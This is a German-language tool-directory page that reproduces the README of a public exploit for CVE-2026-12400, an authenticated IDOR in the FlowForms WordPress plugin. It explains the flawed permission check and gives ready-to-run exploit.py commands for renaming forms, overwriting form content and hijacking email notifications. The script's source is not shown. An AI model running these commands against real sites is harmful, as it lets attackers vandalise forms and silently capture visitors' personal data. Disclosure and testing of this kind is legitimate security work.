Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & Bildung
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

# Authentifizierter WordPress-IDOR-Exploit für CVE-2026-12400; listet FlowForms-REST-Formular-IDs auf und verändert Formularinhalte oder übernimmt E-Mail-Benachrichtigungen.

Repository anzeigen
112vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-12400 — FlowForms IDOR: Unbefugte Formularänderung

Authentifiziert (Contributor+) Insecure Direct Object Reference zur beliebigen Formularänderung in FlowForms ≤ 1.1.1

Schwachstellenübersicht

EigenschaftWert
CVE-IDCVE-2026-12400
CVSS-Bewertung4.3 — Mittel
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel)
ProduktFlowForms — WordPress Conversational Form Builder Plugin
BetroffenAlle Versionen bis einschließlich 1.1.1
Behoben inBehoben in 1.1.2
ForscherPhantom Hat

Technische Analyse

Vollständige White-Box-Fallstudie mit Quellcodeanalyse, Eingabeflussverfolgung und Patch-Diffing:

📄 CVE-2026-12400 Fallstudie — Medium

Angriffsfläche

FlowForms stellt zwei REST-API-Endpunkte unter dem Namensraum flowforms/v1 bereit, die anfällig sind:

POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Beide akzeptieren eine benutzergesteuerte {id} im URL-Pfad und ändern die Daten des Zielformulars — Name, Inhalt, Layout, Weiterleitungs-URL und E-Mail-Benachrichtigungsempfänger.

Ursache

Beide anfälligen Routenregistrierungen teilen denselben fehlerhaften permission_callback:

// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts ist eine Fähigkeit, die Contributors besitzen. Der Parameter {id} wird niemals auf den Besitz des anfordernden Benutzers überprüft — jeder authentifizierte Benutzer kann jede Formular-ID auf der Website angreifen.

Angriffsablauf

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Als Contributor authentifizieren
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) REST-Nonce abgreifen
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Veröffentlichte Formulare aufzählen
        │<─ HTTP 200 ───────────────────────│      (jedes zugängliche Formular ist ein Ziel)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Formularnamen/-inhalt überschreiben
        │       with attacker payload ─────>│       ← keine Besitzerprüfung
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) E-Mail-Benachrichtigungen kapern
        │       /settings ─────────────────>│       ← Angreifer erhält alle
        │<─ { "success": true } ────────────│         zukünftigen Formulareinsendungen
        │                                   │
        │   Alle 3 Angriffsvektoren bestätigt │  (5) Name ✔ Inhalt ✔ E-Mail ✔

Drei Angriffsvektoren

ModusEndpunktAuswirkung
name/forms/{id}Jedes Formular umbenennen — Vandalismus, Social Engineering
content/forms/{id}Layout, Begrüßungs-/Dankesseiten, Weiterleitungs-URL überschreiben
email/forms/{id}/settingsE-Mail-Benachrichtigung kapern — still alle Formulareinsendungen erhalten

Der email-Modus ist am kritischsten. Nach dem Kapern wird jede Einsendung des Kontaktformulars des Opfers — einschließlich personenbezogener Daten der Besucher, Nachrichten und Kontaktdaten — still an die vom Angreifer kontrollierte Adresse weitergeleitet. Der Administrator der Website sieht keinen Hinweis auf die Änderung.


Exploit-Nutzung

Voraussetzungen

  • Python 3.8+
  • Ein authentifiziertes Konto mit mindestens der Rolle Contributor auf der Zielseite

Installation

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Betriebsmodi

Namensänderung

Jedes Formular in vom Angreifer kontrollierten Inhalt umbenennen:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Inhaltsänderung

Formularlayout, Bildschirme, Weiterleitungs-URL und Hintergrundbilder überschreiben:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

E-Mail-Benachrichtigung kapern (Höchste Auswirkung)

Alle zukünftigen Benachrichtigungen über Formulareinsendungen an eine vom Angreifer kontrollierte Adresse umleiten:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Mit Proxy (Burp Suite)

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Vollständige Flag-Referenz

FlagKurzformBeschreibungErforderlich
--url-uZiel-WordPress-URL✅
--userWordPress-Benutzername (Contributor+)✅
--passwordWordPress-Passwort✅
--id-start-iStartformular-ID für die Aufzählung✅
--num-forms-nAnzahl der aufzuzählenden Formular-IDs✅
--exploitAngriffsmodus: name / content / email✅
--proxy-pProxy-URL (z.B. http://127.0.0.1:8080)❌

Anpassen der Payloads

Die JSON-Payload-Vorlagen (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sind am Anfang des Skripts definiert. Bearbeiten Sie sie vor dem Ausführen, um den Angriffsinhalt anzupassen — ändern Sie die Benachrichtigungs-E-Mail-Adresse, die Weiterleitungs-URL, das Hintergrundbild, den Formulartitel usw.

# Top of exploit.py
Tool herunterladen